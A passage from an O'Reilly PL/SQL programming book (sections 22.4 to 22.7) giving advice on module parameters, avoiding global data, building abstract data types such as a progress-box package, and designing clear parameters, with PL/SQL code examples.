   SELECT name INTO cname FROM company
    WHERE company_id = :GLOBAL.company_id;
   RETURN cname;
EXCEPTION
   WHEN NO_DATA_FOUND THEN    RETURN NULL;
END;

This function works just fine, as long as I make sure that I have set the global variable to the appropriate company ID before I call the function. If I look only at the function's specification:

FUNCTION company_name RETURN VARCHAR2

there is no way for me to know that the function requires a particular global variable. It simply tells me, "I will give you a company name." But for which company? The lack of a parameter renders this function largely unusable.

Fortunately, the situation is easily remedied. The version of company_name below takes a company ID number and returns the corresponding company name:

FUNCTION company_name
   (company_id_in IN company.company_id%TYPE)
RETURN VARCHAR2
IS
   cname company.company_id%TYPE;
BEGIN
   SELECT name INTO cname FROM company
    WHERE company_id = company_id_in;
   RETURN cname;
EXCEPTION
   WHEN NO_DATA_FOUND THEN    RETURN NULL;
END;

Now, compare the specifications for these two versions of company_name:

  • First, a function that hides source of primary key:

    FUNCTION company_name RETURN VARCHAR2;

  • Next, a function that requires input of primary key:

    FUNCTION company_name (company_id_in IN company.company_id%TYPE)
   RETURN VARCHAR2;

In the first case, I don't have any clue whatsoever about how I can provide the company ID to the function in order to look up the name. In order to use this version of company_name, I must either depend on external documentation, which states the reliance on :GLOBAL.company_id, or look at the body of the function. External documentation of modules is always something to be avoided, or at least kept to an absolute minimum. Because it is hard to maintain, it is often out of date. As for taking a peek at the body of the function, well, that simply isn't always possible and is never desirable. You should design your modules so that a developer needs nothing more than the specification in order to understand how to use that module.

In the second case, the specification is very explicit about needing a company ID number in order to look up the name. In the case of company_name, the company ID number is the "linkage" between the code calling company_name and the internal implementation of the function.

Whenever possible, you should make such linkages explicit and visible; the best way to do this is to place those items in the parameter list of the module.

Previous: 22.3 Take Full Advantage of Local Modularization | Oracle PL/SQL Programming, 2nd Edition | Next: 22.5 Create Independent Modules
22.3 Take Full Advantage of Local Modularization | Book Index | 22.5 Create Independent Modules
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 22] 22.5 Create Independent Modules

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book

22.5 Create Independent Modules

When you build modules, you need to be able to reuse them in as many different situations as possible, both within the current application and perhaps even in other, yet-to-be-developed systems. In order to do this, you will want to create modules that are as independent as possible both from other modules and from data structures defined in your current application.

Think of a module as a black box, which hides implementational complexities, often changing data structures, workarounds, and other sensitive elements of the application. Programmers using the module should not have to know how it does its job; they need only know the module's name, parameters, and return value (if a function). On the flip side (the inside of the module), the module should not be dependent on anything but the values coming in through the parameter list in order to do its job.

Personal computers move steadily towards an architecture of "plug and play:" the various components of the computer can be plugged together in different combinations and from different manufacturers. You will be certain that the result is a functioning computer because the hardware and software manufacturers agree on the standards that govern how the different components interact. They also (try to) make certain that nothing inside their own components causes a conflict with another component. Each product respects the boundaries around another's area of functionality.

The advantages of plug and play in the computer marketplace are many: lowered cost due to reduced reliance on proprietary technology, increased reliability, greater choice for consumers, and easier upgrades. All of these same advantages accrue to software following the same plug and play strategy. If you design your modules so that they are both tightly focused on a particular area of functionality and are simultaneously as generic as possible, and if those modules interact through well-defined interfaces, the resulting applications will:

  • Contain fewer bugs. The more you rely on the same modules again and again, the less code you will write, and, as a result, there will be a narrower opportunity to introduce new problems into your code.

  • Adapt more easily to change (enhancement and redesign). Change in one module is less likely to cause a ripple effect through all the rest of your code. As long as the interface through which calls are made to that module does not change, no other programs are affected.

  • Be developed more rapidly. As the percentage of reusable code increases, you only need to concentrate on building additional layers of modules to add new functionality. If a module's design does not constrain its usefulness, you will use it more often.

But I suppose you have read all of this before. The question I'd like to address now concerns what you can do to improve the plug and play quality of your code. In this section I offer some general tips and examples that I have found helpful.

22.5.1 Stretch the Possibilities of the Module

You build a module to meet a requirement. A requirement is often stated in the most straightforward terms: "Calculate the total profits of a company," "Look up the description for a code," "Display the contents of a PL/SQL table," "Count the number of words in a string." Most developers proceed to implement these requirements in the most straightforward manner possible, without giving much thought to the full variety of ways in which the module might be used. The resulting program will probably work fine for the current requirement. Chances are great, however, that the requirement will expand or you will encounter a slightly different requirement in the next application -- either of which will require a revamping of the module.

Whenever you build a module, take a moment to examine the motivation for the program. What immediate needs does it satisfy? Do you see other ways that the module might, could, or should be used? Can you incorporate these other areas of functionality into the module while still preserving the original purpose of the module? If so, you will end up with a module that, while requiring more code and is more complicated internally, will be more widely used and appreciated.

22.5.2 Keep the Focus of Your Module

Sure, I want you to stretch, to use your imagination, to think of the many different contexts in which a module might be used. I do not, however, want you to end up with a kitchen sink module that does everything, or does a little bit of everything for every situation. The trick is to "fill out" the module's applicability without expanding its scope.

If your function is supposed to count the number of separate "words" in a string, by all means broaden your concept of word to include punctuation. Give users of the module the option of counting just actual words, just punctuation, or all words. But don't also "enhance" the module to return the size of the largest word, the size of the smallest word, and the number of spaces in the word. Chances are that no one will use such a program.

A module should never be used as a dumping ground for miscellaneous actions, which otherwise do not seem to have a place to go. For a module to be applicable to many different situations in more than one application, it should do one thing and do it well.

22.5.3 Use Parameters Liberally

A direct consequence of making a module generic and flexible is that you will increase the length of your parameter list. Compare the parameter lists of the two procedures shown in the following example, in which two modules count the number of words in a string:

FUNCTION number_of_words (string_in IN VARCHAR2)
/*
|| Function returns the number of words in a string. A word
|| is any set of characters separated by a space.
*/
RETURN INTEGER;

FUNCTION number_of_atomics
/*
|| Function returns the number of atomics in a string. An atomic is
|| either a "word" (contiguous numbers or letters) or a delimiter.
||
|| Examples of results:
||    number_of_atomics ('this, is%not.') ==> 7
||    number_of_atomics ('this, is%not.', 'WORD') ==> 3
||    number_of_atomics ('this, is%not.', 'DELIMITER') ==> 4
||    number_of_atomics ('this, is%not.', 'WORD', ' ') ==> 2
*/
   (string_in IN VARCHAR2,
    count_type_in IN VARCHAR2 := 'ALL',
    delimiters_in IN VARCHAR2 := parse.std_delimiters)
RETURN INTEGER;

The number_of_atomic function (drawn from the ps_parse package found on the disk) has two additional parameters. The second parameter, count_type_in, determines the type of count to perform on the string. The third parameter, delimiters_in, allows the programmer to specify the characters that act as delimiters in the string. The default values on these parameters not only allow me to call number_of_atomics as simply and easily as number_of_words, but when needed this function can do so much more for me.

Again, you can go too far with a good thing. The human mind seems to be fairly comfortable juggling up to seven items of information at a time. After that, we simply have trouble keeping it all straight. Modules with more than seven or eight parameters are difficult for programmers to use. If you create a module with an enormous parameter list, it will be intimidating and confusing to programmers. Because too much effort will be required to use the module, it is likely to be ignored or used improperly.

If you find that you are passing many attributes of the same entity as individual parameters, you might consider replacing all of those separate parameters with a single record parameter. Suppose you create a module to insert a company into the database. The company table has 25 columns. Are you going to create 25 parameters? Who wants to create all those separate variables and pass them into the module? You could instead create a record based on the table as follows:

DECLARE
   company_rec company%ROWTYPE;
BEGIN
   ... Fill the columns of the record as needed ...
   add_company (company_rec);
END;

Notice that the add_company module now just takes the record as a parameter, yet you can still pass all the company information you need to the INSERT statement inside add_company.

22.5.4 Avoid Global Variables and Data Structures

Global data sure is convenient. You can refer to it anywhere inside your application. You can transfer values from one module to another without having to expand the module's parameter lists. From the standpoint of plug and play, however, global data is a very bad idea.

When a module relies on a global variable, it is dependent on information from outside of that module, which is not passed to the module via the parameter list. As a result, the interface to that module does not completely describe the ways in which a programmer can use the module. In order to use the module, I must make sure that the global variable contains the proper value. If the module changes a global variable or data structure, I must ensure that this change does not affect my program. I cannot, in other words, call the module without worrying about side effects.

If your module relies on global data, it is also much less likely that the module could be reused in an entirely different application. A function that counts the number of atomics in a string could certainly apply to any number of completely distinct systems. If that function refers to a global variable, like a list of delimiters or a maximum size of string, then each system has to have a way to set those values. Who is going to bother with all of that? They'll just write their own version, perhaps making a copy of the original. Yuch!

There are times, however, when global data is both justified and necessary:

  • Global variables containing system-wide named constants reduce the hardcoding of literal values in your programs.

  • Global variables offer a way to communicate between application components that might otherwise be mutually deaf and mute.

  • Global variables can sometimes improve performance over passing parameters, as happens with complex structures like PL/SQL tables.

For these reasons, very few applications succeed in completely resisting the use of global variables. If you are aware of the drawbacks of this kind of data, however, you will at least justify and keep your use of them to a minimum.

Previous: 22.4 Be Wary of Modules Without Any Parameters | Oracle PL/SQL Programming, 2nd Edition | Next: 22.6 Construct Abstract Data Types (ADTs)
22.4 Be Wary of Modules Without Any Parameters | Book Index | 22.6 Construct Abstract Data Types (ADTs)
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 22] 22.6 Construct Abstract Data Types (ADTs)

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book

22.6 Construct Abstract Data Types (ADTs)

The term abstract data type is about as dry and technical sounding as you can get. Yet the concept of an abstract data type, or ADT, is something we apply -- or should apply -- in every single one of our application efforts, sometimes without even realizing that we are doing it. An abstract data type is a collection of information and operations that act on that information. An ADT can represent computer objects such as lists, records, stacks, arrays, and tables; but an ADT can also represent real-world objects, such as a company, a product, or the set of assembly line operations at a factory.

The power behind the ADT lies in the first word of its name: abstract. When you create an ADT, you work with objects as opposed to variables, columns, and other computer science items. You perform an abstraction from the implementation details to the "thing in itself" and work on a higher level.

PL/SQL offers several different constructs with which to build and manage ADTs, most importantly the package. The most general description of an ADT, in fact, sounds just like the description of a package: a collection of data and operations on that data.

Every application you build is filled with the need and potential for abstract data types. In order to construct an ADT, however, you first need to be able to identify which data is best represented at a new and higher level of abstraction. You then need to be able to build that ADT so that the programmatic interface to the underlying data is consistent and effective.

22.6.1 Build an ADT in Phases

You should build an ADT in four phases:

  1. Clarify the data to be represented by the ADT. Make sure you understand all the attributes of the data and the way it is used in your application. When your ADT is based on a database table or entity, much of this phase is already done.

  2. List the key features and functions of the ADT as it relates to the underlying data. Don't write any code until you have come up with a comprehensive list of all the operations on and by the ADT.

  3. Build the interface for the ADT. This is equivalent to designing the specification of all the modules which are called by programmers to manipulate the ADT. Translate the list of features into procedure and function calls. You need to decide on module names and their parameter lists.

  4. Build the body of code behind the interface. You know how programmers will manage the ADT, since they must work with the specification. The final phase is to actually implement the ADT. What internal data structures will you use? What code will you share among the different modules of the ADT? What data will you hide from view?

22.6.2 Some ADT Guidelines

Here are some guidelines you should follow when designing an ADT:

  • Maintain a consistent level of abstraction. This is probably the most important aspect of your ADT implementation. All the modules you build to represent your abstract data structure should operate with the same level of data. If the ADT representing a company's product is implemented as a PL/SQL record, then all of the modules should accept or return this record structure. If there are alternative means of identifying a particular product (the product name, the ID number, the record as a whole), then provide functions that convert between the different identifier formats so that the programmer can easily shift to the ADT structure required by the main modules.

  • Provide a comprehensive interface to the abstract data type. Make sure that the user (a programmer, in this case) can perform all necessary operations on the ADT without having to go around the interface you build to the ADT. Hide all the implementational details of your ADT behind calls to procedures and modules -- without exception. If you implement a stack data structure as an ADT and forget to provide a way to pop a value off the stack, the programmer will have to invade your turf and mess around in your stack to retrieve the needed value. Of course, this is an obvious example. In many situations the gaps in an ADT's implementation are less obvious and sometimes discovered only when a programmer starts using the ADT in earnest.

  • Use the package structure, the most natural repository for ADT code. The ADT represents a "thing" by presenting a layer of code that allows you to perform operations on that thing as a whole, rather than on its individual components. The package joins related objects together and so corresponds closely to the ADT. If your ADT represents a caller, then create a package named "caller" containing all the modules, variables, cursors, etc., needed to manipulate the caller. The package clearly distinguishes between the public and private parts of the code. The public objects make up the interface to the ADT. The private objects contain and hide the implementational details for the ADT.

22.6.3 Progress Box as ADT

The advantages of working with abstract data types should become clear from the following example of a "progress box". The development team of a financials application found that their Oracle Forms 4.0 application would not change the cursor from an arrow to an hourglass with long-running PL/SQL programs. With a wait-time of between three and five minutes, they were concerned that users would get impatient, click irresponsibly with the mouse, and possibly cause damage. Their solution was to construct a progress box aimed at keeping the user informed of the program's progress.

The progress box consisted of a window named progress_window, a canvas view named cv_progress, and the following three items, all defined in a block named b_progress:

process_name

The description of the program currently executing

percent_done

A textual description of the percentage of the job completed

thermometer

A graphical representation of the percentage of the job completed

A very clever programmer found that by setting the visual attributes (specifically the font) of the thermometer in the item, the letter "n" would appear as a solid box (blue!) on the screen. Two letters would appear as two blocks and so on. Make the item ten characters long and you have a graphical representation of percentage completion in 10% increments.

Here are the four lines of code needed to show 20% completed:

:B_PROGRESS.PERCENT_DONE := '20 % Complete.';
:B_PROGRESS.THERMOMETER  := 'nn';
Show_View('CV_PROGRESS');
synchronize;

Actually, before any particular percentage of completion was displayed, it was necessary to initialize the progress box. The following five lines set the process name (in effect, the title for the bar) and initialized the other items:

SET_WINDOW_PROPERTY ('PROGRESS_WINDOW', Visible, Property_On);
:C_CONTROL.NBT_PROCESS_NAME := 'Updating Profit and Loss data...';
:C_CONTROL.NBT_PERCENT_DONE := '0 % Complete.';
:C_CONTROL.NBT_THERMOMETER  := 'n';
Show_View('CV_PROGRESS');
synchronize;

This progress box was also needed within a loop, which executed over a period of up to ten years. The development team was able to adapt their basic progress box code to dynamically adjust according to the loop index, year_count:

:B_PROGRESS.PERCENT_DONE :=
   TO_CHAR (round((year_count / years_displayed * 100),0)) ||
            ' % Complete.';
:B_PROGRESS.THERMOMETER  := :B_PROGRESS.THERMOMETER || 'n';
Show_View('CV_PROGRESS');
synchronize;

In this case, they simply concatenated another "n" onto the current value of the thermometer for each iteration of the loop.

Of course, they needed to hide the progress box when the program ended:

Hide_View('CV_PROGRESS');
SET_WINDOW_PROPERTY('PROGRESS_WINDOW', Visible, Property_Off);
synchronize;

Finally, there were also times when they would use the progress box to display a message, but not use the thermometer. The following code shows the lines required to implement this variation on the progress box:

SET_WINDOW_PROPERTY('PROGRESS_WINDOW', Visible, Property_On);
:B_PROGRESS.PROCESS_NAME := 'Building reports...';
:B_PROGRESS.PERCENT_DONE := null;
:B_PROGRESS.THERMOMETER  := null;
Show_View('CV_PROGRESS');
synchronize;

My first impression of their approach was that it was very clever. It had a nice look to it and definitely saved the users from wondering what was happening in their application. Then I took a look inside the form and found that the samples of code I presented previously were repeated over and over again in various forms in many different procedures, triggers, and functions.

22.6.4 Price Paid for Code Dispersion

The developers had not treated the progress box as a thing in itself, as an abstract data type. Instead, the progress was simply a series of executable statements: set the title, change the thermometer setting, make the view visible, etc. Because they did not abstract those individual statements into an object with rules and structure, they were forced to repeat those statements wherever a progress box of any form was needed. This approach not only required repetition of the statements, it also exposed the particular elements of the implementation (the fact that the letter "n" was needed to created a box on the screen, for example) throughout the application.

Well, the developers worked through these issues and got their application moved into production and everything seemed fine. Then a couple of things happened. First, I was asked to review the code with the objective of reducing code volume and improving performance. Second, we converted the application to Oracle Forms 4.5.

Replacing the sequence of executable statements used to produce the progress box with a procedure call was an obvious way to reduce the amount of code in the application. But the conversion to Oracle Forms 4.5 raised another whole issue: the font used to produce a graphical box from the letter "n" wasn't available any longer in the list of fonts for visual attributes! All the individual assignments of the thermometer to the letter "n" would now do little more than make a blue "n" appear on the screen.

These two factors forced us to completely revamp the progress box implementation. Instead of representing the progress box with the separate lines of code, we needed to create an object called a progress box, figure out the ways that progress box was used in the application, and create modules that would implement those different methods. I wanted to be particularly careful to not let individual programmers hardcode a letter or symbol, like "n", in order to achieve the desired effect in the thermometer item.

After some analysis, I determined that the application used the progress box in three ways:

  • To display a message (which turns off the display of the thermometer bar)

  • To display a percentage completion message with the thermometer

  • To hide the box from view

I then converted this high-level specification to a package specification, as shown in the next section.

22.6.4.1 The progress package specification

/* filename on companion disk: progress.fpp */
PACKAGE progress
IS
   PROCEDURE msg (msg_in IN VARCHAR2);

   PROCEDURE bar
      (pct_in IN INTEGER,
       thermom_in IN INTEGER := 1,
       init_in IN VARCHAR2 := 'NOINIT',
       msg_in IN VARCHAR2 := NULL);

   PROCEDURE hide (item_prop_in IN INTEGER := PROPERTY_OFF);

END progress;

The msg procedure simply displays the provided message and hides the thermometer.

The bar procedures takes four parameters as follows:

pct_in

The percentage completed as a number. The module then converts the number to a string in the format "20% Completed."

thermom_in

The number of boxes to be added to the current thermometer setting.

init_in

Indicates whether the thermometer should be initialized with the thermom_in number of boxes (`INIT'), or if the thermometer should have that number of boxes concatenated to the current thermometer display.

msg_in

The message to be displayed above the thermometer, if any.

The hide procedure hides the property box and optionally sets the property of the thermometer item.

The package body needed to consolidate all of the formerly hardcoded executable statements in the application is shown in the next section. Notice that programmers do not specify a character, like "n", when calling the progress.bar procedure. Instead, they just indicate the number of boxes to add to the thermometer. Inside the package, a one-character string named thermom_char is set to a value of "n". If the font requires a change, this single variable is modified and none of the code that calls progress.bar is affected.

22.6.4.2 The progress package body

/* filename on companion disk: progress.fpp */
PACKAGE BODY progress
IS
   thermom_char VARCHAR2(1) := 'n';

   PROCEDURE msg (msg_in IN VARCHAR2) IS
   BEGIN
      SET_WINDOW_PROPERTY (handles.progress_window_id, Visible, Property_On);
      SET_ITEM_PROPERTY (handles.thermometer_id, DISPLAYED, PROPERTY_OFF);
      :b_progress.percent_done := msg_in;
      :b_progress.process_name := NULL;
      :b_progress.thermometer := NULL;
      SHOW_VIEW (handles.cv_progress_id);
      synchronize;
   END;

   PROCEDURE bar
      (pct_in IN INTEGER,
       thermom_in IN INTEGER := 1,
       init_in IN VARCHAR2 := 'NOINIT',
       msg_in IN VARCHAR2 := NULL)
   IS
      /* Create the string to be added to the thermometer. */
      bar_stg VARCHAR2(80) := LPAD (thermom_char, thermom_in, thermom_char);
   BEGIN
      SET_WINDOW_PROPERTY (handles.progress_window_id, Visible, PROPERTY_ON);
      SET_ITEM_PROPERTY (handles.thermometer_id, DISPLAYED, PROPERTY_ON);
      IF msg_in IS NOT NULL
      THEN
         :b_progress.process_name := msg_in;
      END IF;
      :b_progress.percent_done := TO_CHAR (pct_in) || ' % Complete';
      IF UPPER (init_in) = 'INIT'
      THEN
         :b_progress.thermometer := bar_stg;
      ELSE
         :b_progress.thermometer := :b_progress.thermometer || bar_stg;
      END IF;
      SHOW_VIEW (handles.cv_progress_id);
      synchronize;
   END;

   PROCEDURE hide (item_prop_in IN INTEGER := PROPERTY_OFF)
   IS
   BEGIN
      Hide_View (handles.cv_progress_id);
      SET_ITEM_PROPERTY (handles.thermometer_id, DISPLAYED, item_prop_in);
      SET_WINDOW_PROPERTY (handles.progress_window_id, Visible,
         PROPERTY_OFF);
      synchronize;
   END;

END progress;

Now I can replace the cumbersome, virtually unmaintainable sequences of statements with a single call to the package modules. The following examples show the "before and after" of the progress box code.

  • Initialize the thermometer with a title, empty thermometer, and 0% completed:

    Before:

    :B_PROGRESS.PROCESS_NAME := 'Updating profit and loss data...';
:B_PROGRESS.PERCENT_DONE := '0 % Complete.';
:B_PROGRESS.THERMOMETER  := NULL;
Show_View('CV_PROGRESS');
synchronize;

    After:

    progress.bar (0, 0, 'INIT', 'Updating Profit and Loss data...');

  • Set the thermometer to 20% completion:

    Before:

    :B_PROGRESS.PERCENT_DONE := '20 % Complete.';
:B_PROGRESS.THERMOMETER  := 'nn';
Show_View('CV_PROGRESS');
synchronize;

    After:

    progress.bar (20, 2);

  • Adjust dynamically the contents of the progress box according to the loop index, year_count:

    Before:

    :B_PROGRESS.PERCENT_DONE :=
   TO_CHAR (round((year_count / years_displayed * 100),0)) ||
            ' % Complete.';
:B_PROGRESS.THERMOMETER  := :B_PROGRESS.THERMOMETER || 'n';
Show_View('CV_PROGRESS');
synchronize;

    After:

    progress.bar (ROUND((year_count / years_displayed * 100),0), 1);

  • Hide the progress box when the program completed and control was returned to the user:

    Before:

    Hide_View('CV_PROGRESS');
SET_WINDOW_PROPERTY('PROGRESS_WINDOW', Visible, Property_Off);
synchronize;

    After:

    progress.hide;

By treating the progress box as an object with rules governing its use and appearance, I was able to greatly reduce the volume of code required. The resulting statements are also much more comprehensible and maintainable.

Previous: 22.5 Create Independent Modules | Oracle PL/SQL Programming, 2nd Edition | Next: 22.7 Tips for Parameter Design
22.5 Create Independent Modules | Book Index | 22.7 Tips for Parameter Design
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 22] 22.7 Tips for Parameter Design

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book

22.7 Tips for Parameter Design

This section offers tips for designing and using your parameters most effectively.

22.7.1 Document All Parameters and Their Functions

In the header of the program or directly next to each parameter, you should include comments explaining any assumptions about the parameter and the way it's used in the program. Such information would handle the following situations:

  • The units of measure for a numeric parameter. If the parameter is speed_in, is the speed in miles-per-hour or kilometers-per-hour?

  • The valid ranges for incoming parameter values. Remember that all parameters are unconstrained. You cannot, for example, declare a parameter as NUMBER(3). So if a parameter does have a valid range or list of values, explain that.

  • Invalid or impossible values for the parameters. If the speed_in parameter cannot have a value less than or greater than 200, a statement to that effect can help a person who is fixing a bug in that program or in a program that calls it.

  • Error status and flag information. If the program returns a status flag, code, or message, you should indicate this at the start of the program so that anyone who reads the program is aware of the expected values.

It can be particularly handy to include these comments in the actual parameter list because that documentation then becomes part of the program's specification. Then, even when developers do not have access to the body of the program, as with packages like Oracle Developer/2000 PL/SQL libraries, they can still see important information about the parameters in the specification.

The following procedure specification illustrates some of these recommendations:

PROCEDURE calc_elapsed_time
   (start_time_in IN NUMBER /* Range: 0 through 24 */,
    start_loc_in  IN VARCHAR2 /* NY, CHI or SF */,
    end_loc_in    IN VARCHAR2 /* DC, LA, or NO */,
    valid_out     OUT VARCHAR2 /* VALID or INVALID */);

It can be hard to make time for this kind of documentation, but it can make a big difference in how easily your programs can be used by others.

22.7.2 Use Self-Identifying Parameters (Avoid Boolean Values)

A common parameter for a module is a flag that relies on two-valued logic (TRUE or FALSE) to pass information to the module. The temptation in such a case is to declare the parameter to be type BOOLEAN. With this approach, when you call the program, you will pass either TRUE or FALSE. You will find in these circumstances that while the specification for your program is very readable, the way you call it in other programs will be difficult to follow.

Consider the parameters for the following procedure, which is used to generate reports and optionally print the reports out on the specified queue:

PROCEDURE generate_report
   (report_id_in IN NUMBER,
    queue_in IN VARCHAR2,
    clean_up_log_files_in IN BOOLEAN := TRUE,
    print_file_in IN BOOLEAN := TRUE);

In order to make generate_report more flexible, the developer has provided two Boolean parameters:

clean_up_log_files_in

TRUE if the procedure should clean up (remove) any log and listing files created in the process of generating the report; FALSE to keep the files in place, usually for purposes of debugging.

print_file_in

TRUE if the output file of the report should be printed; FALSE to skip the print step.

When one glances over the procedure's specification, the purpose and usage of each parameter seems clear enough. But take a look at how I would call this procedure:

generate_report (report_id, 'PRINT_QUEUE1', TRUE, TRUE);

As you can see, these Boolean parameter values are not very descriptive. Without the context provided by their names, actual Boolean parameters are unable to self-document their effect. A developer (or, most importantly, a maintainer) of the code must go back to the source to understand the impact of a particular value. That completely defeats the information hiding principle of modular programming.

This problem is not restricted to true Booleans, either. You will be just as confused by parameters acting as "pseudo-Boolean" parameters. In the following version of generate_report, the BOOLEAN parameters are replaced by VARCHAR2 parameters, to little advantage.

PROCEDURE generate_report
   (report_id_in IN NUMBER, queue_in IN VARCHAR2,
    clean_up_log_files_in IN VARCHAR2:= 'Y',
    print_file_in IN VARCHAR2 := 'Y');

With these VARCHAR2 replacements, calls to generate_report now look like this:

generate_report (new_report_id, temp_queue_name,'Y', 'Y');

While it is true that I no longer have the obscure TRUE or FALSE to deal with in the call interface, it would be hard to argue that "Y" or "N" is any more illuminating. A much better approach replaces Boolean and pseudo-Boolean parameters with character parameters whose acceptable values are descriptions of the action or situation.

PROCEDURE generate_report
   (report_id_in IN NUMBER, queue_in IN VARCHAR2,
    clean_up_log_files_in IN VARCHAR2:= 'CLEANUP',
    print_file_in IN VARCHAR2 := 'PRINT');

Now a call to generate_report states clearly its intentions:

generate_report
   (report_id, queue_name, 'CLEANUP', 'PRINT');

or:

generate_report
   (report_id, queue_name, 'NO_CLEANUP', 'PRINT');

or:

generate_report
   (report_id, queue_name, 'NO_CLEANUP', 'NO_PRINT');

As you can see from these examples, I write my procedures to accept an unambiguous affirmative value (CLEANUP) and the most clearly-defined negative form (NO_CLEANUP). One complication to this style is that you need to validate the parameter values; if you were using a Boolean, the strong datatyping in PL/SQL would guarantee that a legal value is passed.

22.7.3 Assign Values to All OUT and IN OUT Parameters

Make sure that all OUT and IN OUT parameters are assigned values in your procedure (you should never have such parameters in a function, after all). Remember that any assignments made to OUT or IN OUT parameters in the body of a program are ignored when an exception is raised in that program. PL/SQL performs its own internal rollback of all incomplete changes. This can result in situations where the program that called the function or procedure with these parameters does not have reliable data with which to work.

22.7.3.1 Perform assignments within exception handlers

The way to make sure that you assign values to your OUT and IN OUT parameters whether the program succeeds or fails is to perform assignments within the exception handlers. Consider the generate_raise procedure:

PROCEDURE generate_raise
   (employee_id_in IN employee.employee_id%TYPE,
    salary_out OUT employee.salary%TYPE)
IS
   sal NUMBER;
   days_employed BINARY_INTEGER;
BEGIN
   -- Initialize the salary to zero.
   salary_out := 0;
   SELECT salary, SYSDATE - hire_date
     INTO sal, days_employed
     FROM employee
    WHERE employee_id = employee_id_in;
   salary_out := sal * (days_employed/365 + .15);
END;

Because the procedure does not have an exception section, any errors arising from the implicit cursor ("SELECT ... FROM employee ...") are not trapped in the program. As a result, generate_raise does not always return a valid amount in the salary_out parameter. By including an exception section, we can trap such errors and assign a value to salary_out, as shown in this example:

PROCEDURE generate_raise
   (employee_id_in IN employee.employee_id%TYPE,
    salary_out OUT employee.salary%TYPE)
IS
   sal NUMBER;
   days_employed BINARY_INTEGER;
BEGIN
   ... as shown above ...
EXCEPTION
   /*
   || Handle all exceptions in this single handler:
   || set the salary_out to zero.
   */
   WHEN OTHERS THEN
      salary_out := 0;
END;

Now you can be sure that salary_out always has a value. Of course, it might not make sense to simply set the salary to zero when an error occurs. By doing so, you have placed a special, undocumented meaning on that value of zero. It doesn't just mean a very low salary. It means something went wrong.

It is generally not a good idea to load a variable with double meanings like that. It is hard to document and it makes the procedure difficult for people to use. Even if you changed the assignment in the exception handler to return NULL, you still have blurred the use of the salary_out parameter.

22.7.3.2 Use a flag to verify successful completion

A better approach is to pass back an explicit indication that the program has succeeded or failed; in this way the code that called the program can make an unambiguous check on the status of that procedure's results. This final version of generate_raise adds another OUT parameter whose sole purpose in life is to let me know how everything went inside the black box of the procedure.

PROCEDURE generate_raise
      (employee_id_in IN  employee.employee_id%TYPE,
       salary_out        OUT employee.salary%TYPE,
       found_emp_out  OUT VARCHAR2)
IS
   sal NUMBER;
   days_employed BINARY_INTEGER;
BEGIN
   ... as shown above ...
EXCEPTION
   /*
   || Now I set the salary to NULL, which is probably a better choice
   || for the error value, but I also set the status parameter to
   || "NOT FOUND" to show that something went wrong..
   */
   WHEN OTHERS THEN
      salary_out := NULL;
      found_emp_out := 'NOT FOUND';
END;

Now when I call generate_raise, I follow it immediately with a check of the status parameter and act accordingly (in this case of an Oracle Forms code fragment, I display an alert and then fail out of the trigger).

generate_raise (:employee.employee_id, :employee.salary, employee_around);
IF employee_around = 'NOT FOUND'
THEN
   alert_selection := SHOW_ALERT ('al_emp_not_found');
   RAISE FORM_TRIGGER_FAILURE;
END IF;

22.7.4 Ensure Case Consistency of Parameters

Procedures and functions will often take character values as parameters and use those strings in an IF statement to determine which code to execute. Parameters like action types, status flags, or selection codes often perform this kind of function. When a programmer calls a module with such a conditional parameter, the programmer must pass a value, which the program will recognize and process correctly.

Suppose I wrote a procedure that takes an action code as a parameter and then executes the appropriate code for that action. The routine might look like this:

PROCEDURE exec_action (action_in IN VARCHAR2)
IS
BEGIN
   IF action_in = 'DISPLAY_LEDGER'
   THEN
      ... the code to display the ledger.

   ELSIF action_in = 'CALC_PROFITS'
   THEN
      ... the code to calculate the profits.

   ELSIF ...
   END IF;
END;

This procedure will work correctly only when the argument for action_in is passed in uppercase. Yet, if you didn't happen to be the author of this program, you would have to be downright lucky to get the format of the value correct.

The exec_action module requires the user of the program -- in this case, another programmer -- to know and remember an aspect of the way the program was implemented. This is a violation of good coding style (make your program a black box). On top of that, the requirement that the parameter be uppercased is simply an avoidable bother. When people sense that they are being expected to follow a rule that is, well, dumb, they will at some level -- consciously or unconsciously -- rebel against that rule. The rebellion in this case will most likely take the form of truly annoying whines and sloppy code.

You show your respect for other people by not wasting their time and their brain cells. In the world of programming, you show this respect by freeing up your users (whether they are end users or other programmers) to concentrate on making important decisions and remembering key rules and information. In other words, you make your code smarter so your users don't have to worry over the details.

If you want to make the exec_action procedure as useful as possible, you will make it as easy and foolproof to use as possible. You will shift the burden of knowledge and effort from the user to the code. Programmers in particular shouldn't have to know or care about the format of the name of the requested action. You work it out for them.

In the version of exec_action that follows, I put some smarts in the code:

  • Uppercasing the action as I copy it into a local (internal) variable, which I will then use for comparisons

  • Checking for both full action strings and abbreviations, to save the programmer some typing

  • Adding an ELSE clause to check for invalid actions

    PROCEDURE exec_action (action_in IN VARCHAR2)
IS
   /* Uppercased copy of action. The "int" stands for "internal" */
   action_int VARCHAR2(30) := UPPER (action_in);
BEGIN
   /* Adds support for action abbreviations, too! */
   IF action_int IN ('DISPLAY_LEDGER', 'DL')
   THEN
      ... the code to display the ledger.

   ELSIF action_int IN ('CALC_PROFITS', 'CP')
   THEN
      ... the code to calculate the profits.

   ELSE
      MESSAGE (' Invalid action code: ' || action_in);
   END IF;
END;

